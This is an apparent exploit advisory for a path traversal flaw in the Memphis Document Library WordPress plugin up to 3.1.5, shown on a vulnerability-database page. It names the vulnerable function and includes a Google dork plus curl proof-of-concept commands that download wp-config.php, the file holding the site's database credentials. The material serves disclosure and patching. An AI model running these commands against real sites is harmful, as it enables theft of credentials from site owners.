WordPress Plugin Memphis Document Library 3.1.5 - Arbitrary File Download
| Reporter | Title | Published | Views | Family All 11 |
|---|---|---|---|---|
| CVE-2016-20100 | 20 Oct 202620:46 | – | circl | |
| WordPress Memphis Documents Library path traversal vulnerability | 20 Oct 202600:00 | – | cnnvd | |
| CVE-2016-20100 | 20 Oct 202620:31 | – | cve | |
| CVE-2016-20100 Memphis Documents Library WordPress Plugin < 3.1.6 Path Traversal via mdocs-img-preview | 20 Oct 202620:31 | – | cvelist | |
| EUVD-2016-10917 | 20 Oct 202620:31 | – | euvd | |
| CVE-2016-20100 | 20 Oct 202621:17 | – | nvd | |
| WordPress Memphis Documents Library plugin <= 3.1.5 - Arbitrary File Download vulnerability | 28 Oct 202617:46 | – | patchstack | |
| PT-2026-118683 | 20 Oct 202600:00 | – | ptsecurity | |
| CVE-2016-20100: Improper Limitation of a Pathname to a Restricted Directory | 20 Oct 202600:00 | – | rapid7 | |
| VulnCheck KEV: CVE-2016-20100 | 20 Oct 202600:00 | – | vulncheck_kev |
10
# Exploit Title: Arbitrary file download in Memphis Document Library 3.1.5
# Google Dork: inurl:"mdocs-posts" -site:wordpress.org
# Date: 22/03/2016
# Exploit Author: Felipe Molina (@felmoltor)
# Vendor Homepage: https://wordpress.org
# Software Link: https://downloads.wordpress.org/plugin/memphis-documents-library.3.1.5.zip
# Version: 3.1.5 (Vulnerable from 2.3 to 3.1.5, fixed in 3.1.6)
# Tested on: Ubuntu 12.04, Wordpress 4.4.2.
# CVE : N/A
# Vulnerable file: memphis-documents-library/mdocs-downloads.php
# Vulnerable function: mdocs_img_preview()
# Vulnerable GET parameter: Injectable 'mdocs-img-preview'
# Vulnerable line: 90 to 93
# Vulnerable code:
87 function mdocs_img_preview() {
88 require_once(ABSPATH . 'wp-includes/pluggable.php');
89 $upload_dir = wp_upload_dir();
90 $image = $upload_dir['basedir'].MDOCS_DIR.$_GET['mdocs-img-preview'];
91 $content = file_get_contents($image);
92 header('Content-Type: image/jpeg');
93 echo $content; exit();
94 }
# POC:
curl http://example.site.com/?mdocs-img-preview=../../../wp-config.php
-o example-wp-config.php
or if the plugin is not installed in the root folder of wordpress, for
example in the folder "mdocs-posts":
curl http://example.site.com/mdocs-posts/?mdocs-img-preview=../../../wp-config.php
-o example-wp-config.phpData
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
23 Nov 2026 00:00Current
5.3Medium risk
Vulners AI Score5.3
CVSS 3.17.5
CVSS 48.7
EPSS0.01792
SSVC